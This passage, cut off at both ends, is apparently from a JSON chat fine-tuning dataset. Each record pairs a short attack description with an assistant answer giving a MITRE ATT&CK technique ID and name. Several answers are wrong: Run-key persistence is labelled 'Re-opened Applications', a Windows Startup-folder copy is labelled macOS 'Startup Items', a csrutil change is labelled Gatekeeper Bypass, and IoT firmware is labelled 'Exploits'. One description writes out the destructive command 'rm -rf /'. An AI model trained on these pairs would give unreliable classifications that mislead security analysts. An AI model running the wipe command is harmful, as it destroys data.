                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor employs a PowerShell script that writes exfiltrated data to any newly connected external drive."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious macro attempts to open a file named 'C:\\Users\\Public\\sandbox_test.txt' that is only present in analysis environments."
            },
            {
                "role": "assistant",
                "content": "T1497 - Virtualization/Sandbox Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through manipulation of the rpath or runpath entries, the adversary causes the dynamic linker to load a malicious library at runtime."
            },
            {
                "role": "assistant",
                "content": "T1574.006 - Hijack Execution Flow: Dynamic Linker Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors inject malicious code into the system's authentication DLL to bypass password verification."
            },
            {
                "role": "assistant",
                "content": "T1556 - Modify Authentication Process"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors used a zero‑day exploit against the organization's exposed VPN service, allowing them to bypass authentication and exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary harvests reverse DNS zones to map internal hostnames associated with the target's external domain."
            },
            {
                "role": "assistant",
                "content": "T1590.001 - Gather Victim Network Information: Domain Properties"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker exploits a stored XSS vulnerability to embed a malicious payload that runs each time a victim views a forum post."
            },
            {
                "role": "assistant",
                "content": "T1659 - Content Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During reconnaissance, the attacker leverages WMI to query Win32_GroupUser for group-to-user mappings."
            },
            {
                "role": "assistant",
                "content": "T1069 - Permission Groups Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary uploads a malicious payload to an AWS Lambda function and triggers it to execute code without persistent infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1648 - Serverless Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the ptrace API, the threat actor injects a shared object into a privileged process to gain elevated permissions."
            },
            {
                "role": "assistant",
                "content": "T1055.008 - Process Injection: Ptrace System Calls"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder runs 'systeminfo' to collect detailed OS version, hotfixes, and system locales."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script uses \"rm -rf /\" on a Linux system to delete all files, effectively wiping the root filesystem."
            },
            {
                "role": "assistant",
                "content": "T1561 - Disk Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware opened a reverse VNC tunnel, allowing the operators to view and manipulate the infected host's GUI."
            },
            {
                "role": "assistant",
                "content": "T1021.005 - Remote Services: VNC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware injects code into a SharePoint plugin, allowing it to silently harvest and forward confidential files to a command‑and‑control server."
            },
            {
                "role": "assistant",
                "content": "T1213.002 - Data from Information Repositories: Sharepoint"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By manipulating the MSBuild task registry, the adversary executes arbitrary commands on the victim host."
            },
            {
                "role": "assistant",
                "content": "T1127.001 - Trusted Developer Utilities Proxy Execution: MSBuild"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious binary uses DNS-based signaling to coordinate with other infected hosts."
            },
            {
                "role": "assistant",
                "content": "T1071.004 - Application Layer Protocol: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using MMC's ability to load arbitrary snap‑ins, the attacker runs a malicious DLL, effectively performing T1218.014."
            },
            {
                "role": "assistant",
                "content": "T1218.014 - System Binary Proxy Execution: MMC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker leverages compromised service principal to enumerate and export secrets from Azure Key Vault."
            },
            {
                "role": "assistant",
                "content": "T1555.006 - Credentials from Password Stores: Cloud Secrets Management Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware sets a Run registry entry that points to a PowerShell script, which runs automatically when the user logs into Windows."
            },
            {
                "role": "assistant",
                "content": "T1547.007 - Boot or Logon Autostart Execution: Re-opened Applications"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor uses an AS-REP Roasting attack to extract and crack Kerberos tickets in order to obtain password hashes for accounts that do not have Kerberos pre-authentication enabled."
            },
            {
                "role": "assistant",
                "content": "T1558.004 - Steal or Forge Kerberos Tickets: AS-REP Roasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies the system's security policy database via the csrutil command to relax Gatekeeper restrictions."
            },
            {
                "role": "assistant",
                "content": "T1553.001 - Subvert Trust Controls: Gatekeeper Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor injects shellcode into a legitimate process by scheduling an APC in the process's context, allowing the payload to run without creating a new process."
            },
            {
                "role": "assistant",
                "content": "T1055.004 - Process Injection: Asynchronous Procedure Call"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group harvests LDAP credentials and authenticates to the domain controller to enumerate accounts."
            },
            {
                "role": "assistant",
                "content": "T1078.002 - Valid Accounts: Domain Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker sends a fake calendar invitation with a malicious attachment, asking the invitee to open it and enter their network credentials to confirm attendance."
            },
            {
                "role": "assistant",
                "content": "T1598 - Phishing for Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware drops a script that calls the \"Run\" method of the Shell object to launch a PowerShell reverse shell."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor sets up a recurring Windows Task Scheduler job that calls wscript.exe to execute a malicious VBScript."
            },
            {
                "role": "assistant",
                "content": "T1053 - Scheduled Task/Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromised host executed InstallUtil.exe with the /U parameter to uninstall and replace a legitimate component with malicious code."
            },
            {
                "role": "assistant",
                "content": "T1218.004 - System Binary Proxy Execution: InstallUtil"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries perform lateral movement by sending malicious macro‑enabled Office documents through internal email distribution lists."
            },
            {
                "role": "assistant",
                "content": "T1071.003 - Application Layer Protocol: Mail Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group employs VBA stomping, writing harmful VBA code and later overwriting it with a clean macro to hide the artifact."
            },
            {
                "role": "assistant",
                "content": "T1564.007 - Hide Artifacts: VBA Stomping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant writes its code to the hidden $LogFile system file on the NTFS volume."
            },
            {
                "role": "assistant",
                "content": "T1564.005 - Hide Artifacts: Hidden File System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion employs taskkill.exe with arguments that mimic a routine cleanup, but the command actually terminates security monitoring tools."
            },
            {
                "role": "assistant",
                "content": "T1564.010 - Hide Artifacts: Process Argument Spoofing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT groups stage large volumes of data locally on a victim host, preparing for later exfiltration in bulk."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker hijacks the search order for libraries by dropping a malicious .so file in a path that precedes the legitimate library location, causing the compromised process to load the malicious library."
            },
            {
                "role": "assistant",
                "content": "T1574.008 - Hijack Execution Flow: Path Interception by Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leveraged the default 'admin' account with its unchanged password on the firewall to gain privileged access to the network."
            },
            {
                "role": "assistant",
                "content": "T1078.001 - Valid Accounts: Default Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware generates spurious log entries that contain no actionable information, obscuring real activity."
            },
            {
                "role": "assistant",
                "content": "T1001.001 - Data Obfuscation: Junk Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group manufactures custom firmware for IoT devices to embed hidden malicious capabilities."
            },
            {
                "role": "assistant",
                "content": "T1587.004 - Develop Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary posts a malicious Android APK on a third‑party app store, and a user installs it, causing the malicious file to execute on the device."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During a post‑exploitation phase, the attacker registers a CLR stored procedure to invoke .NET code for lateral movement across the network."
            },
            {
                "role": "assistant",
                "content": "T1505.001 - Server Software Component: SQL Stored Procedures"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Python code was used to scrape credentials from configuration files and send them to an external server."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs \"crictl info\" to retrieve runtime information, including active containers and their IDs."
            },
            {
                "role": "assistant",
                "content": "T1613 - Container and Resource Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After data collection, the intruder stages the files in a disguised system log directory to avoid detection prior to exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware writes a malicious payload onto a DVD and leaves it on the target's desk, hoping an employee will insert it into a workstation."
            },
            {
                "role": "assistant",
                "content": "T1092 - Communication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exploited misconfigured WinRM service settings to enumerate active directory users across the enterprise."
            },
            {
                "role": "assistant",
                "content": "T1021.006 - Remote Services: Windows Remote Management"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries exploit the Windows Installer service by invoking msiexec to run a malicious MSI file as SYSTEM."
            },
            {
                "role": "assistant",
                "content": "T1218.007 - System Binary Proxy Execution: Msiexec"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting a flaw in the authentication protocol, the threat actor extracts and reuses the second factor for future logins."
            },
            {
                "role": "assistant",
                "content": "T1111 - Multi-Factor Authentication Interception"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is injected into a stored procedure that periodically runs a command-line utility to collect system information and upload it to an attacker-controlled server."
            },
            {
                "role": "assistant",
                "content": "T1505.001 - Server Software Component: SQL Stored Procedures"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers transform collected data using a home‑grown rot13‑plus scheme to obscure its content."
            },
            {
                "role": "assistant",
                "content": "T1132.002 - Data Encoding: Non-Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker sends a phishing email with a PDF attachment that, when opened, exploits a vulnerability to execute a PowerShell payload on the victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages a technique where a malicious library is placed in a location that is searched first by a target application, achieving process injection through list planting."
            },
            {
                "role": "assistant",
                "content": "T1055.015 - Process Injection: ListPlanting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set uses cloud storage APIs to transfer large amounts of data to an attacker‑controlled Azure Blob container."
            },
            {
                "role": "assistant",
                "content": "T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker employs a tool to dump credentials from the LSASS process on a Windows host."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder changes the auto-scaling group parameters, reducing the scaling thresholds to keep more instances running and increase the attack surface."
            },
            {
                "role": "assistant",
                "content": "T1578.005 - Modify Cloud Compute Infrastructure: Modify Cloud Compute Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious scripts are delivered through crafted email messages that exploit IMAP to download additional malware."
            },
            {
                "role": "assistant",
                "content": "T1071.003 - Application Layer Protocol: Mail Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker leverages the Windows Credential Manager to retrieve saved RDP credentials for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware creates a fabricated entry in the process's loaded module list, causing the system to load a malicious DLL under the guise of a legitimate library."
            },
            {
                "role": "assistant",
                "content": "T1055.015 - Process Injection: ListPlanting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries modify Windows Event Log entries and clear audit logs to hide their presence, effectively blocking security indicators."
            },
            {
                "role": "assistant",
                "content": "T1562.006 - Impair Defenses: Indicator Blocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised system runs a background service that mirrors network traffic and sends the mirrored data to a remote host."
            },
            {
                "role": "assistant",
                "content": "T1020.001 - Automated Exfiltration: Traffic Duplication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary disables the screen saver and runs a background process that continuously captures the desktop via DirectX."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker reassigns IAM roles to grant compute resources access to exfiltration services."
            },
            {
                "role": "assistant",
                "content": "T1578 - Modify Cloud Compute Infrastructure"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor creates a custom XPC listener that intercepts inter‑process communication to harvest user credentials."
            },
            {
                "role": "assistant",
                "content": "T1559.003 - Inter-Process Communication: XPC Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker steals a Kerberos TGT from a privileged account and uses it to access restricted resources."
            },
            {
                "role": "assistant",
                "content": "T1558 - Steal or Forge Kerberos Tickets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor leverages the user's PowerShell profile to inject a command that exfiltrates browser history each time PowerShell starts."
            },
            {
                "role": "assistant",
                "content": "T1546.013 - Event Triggered Execution: PowerShell Profile"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary performs OS credential dumping by targeting the Security Account Manager to harvest password hashes."
            },
            {
                "role": "assistant",
                "content": "T1003.002 - OS Credential Dumping: Security Account Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion used a forged shortcut called \"C:\\Windows\\System32\\cmd.exe.lnk\" that launched a malicious script while appearing to be the legitimate command prompt executable."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker scripts API calls to DigitalOcean, invoking the snapshot creation endpoint to back up a droplet's volume."
            },
            {
                "role": "assistant",
                "content": "T1578.001 - Modify Cloud Compute Infrastructure: Create Snapshot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An infection uses a DLL injection to intercept the Windows API functions GetKeyboardState and GetAsyncKeyState for capturing user input."
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor accesses the \\domain\\SYSVOL\\...\\GroupPolicy\\Preferences\\Groups\\Groups.xml file to extract stored passwords."
            },
            {
                "role": "assistant",
                "content": "T1552.006 - Unsecured Credentials: Group Policy Preferences"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary employs the rsync command with an Azure Blob Storage endpoint to push exfiltrated data to the cloud."
            },
            {
                "role": "assistant",
                "content": "T1537 - Transfer Data to Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation module used WMI to run \"wmic /node:targetComputer computersystem get domain\" followed by GPO enumeration via RSOP."
            },
            {
                "role": "assistant",
                "content": "T1615 - Group Policy Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operators employ a malicious PowerShell script to pull a DLL from a malicious website and place it on the victim system."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors tamper with a signed code signing certificate to sign a malicious client binary."
            },
            {
                "role": "assistant",
                "content": "T1554 - Compromise Client Software Binary"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary employs Terraform state file extraction to discover deployed resources across multiple cloud providers."
            },
            {
                "role": "assistant",
                "content": "T1580 - Cloud Infrastructure Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious PowerShell script is delivered in plaintext and compiled into a DLL on the target machine, allowing the payload to run with native privileges."
            },
            {
                "role": "assistant",
                "content": "T1027.004 - Obfuscated Files or Information: Compile After Delivery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware copies its executable to C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup to achieve persistence."
            },
            {
                "role": "assistant",
                "content": "T1037.005 - Boot or Logon Initialization Scripts: Startup Items"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker records video from the victim's webcam during idle periods."
            },
            {
                "role": "assistant",
                "content": "T1125 - Video Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
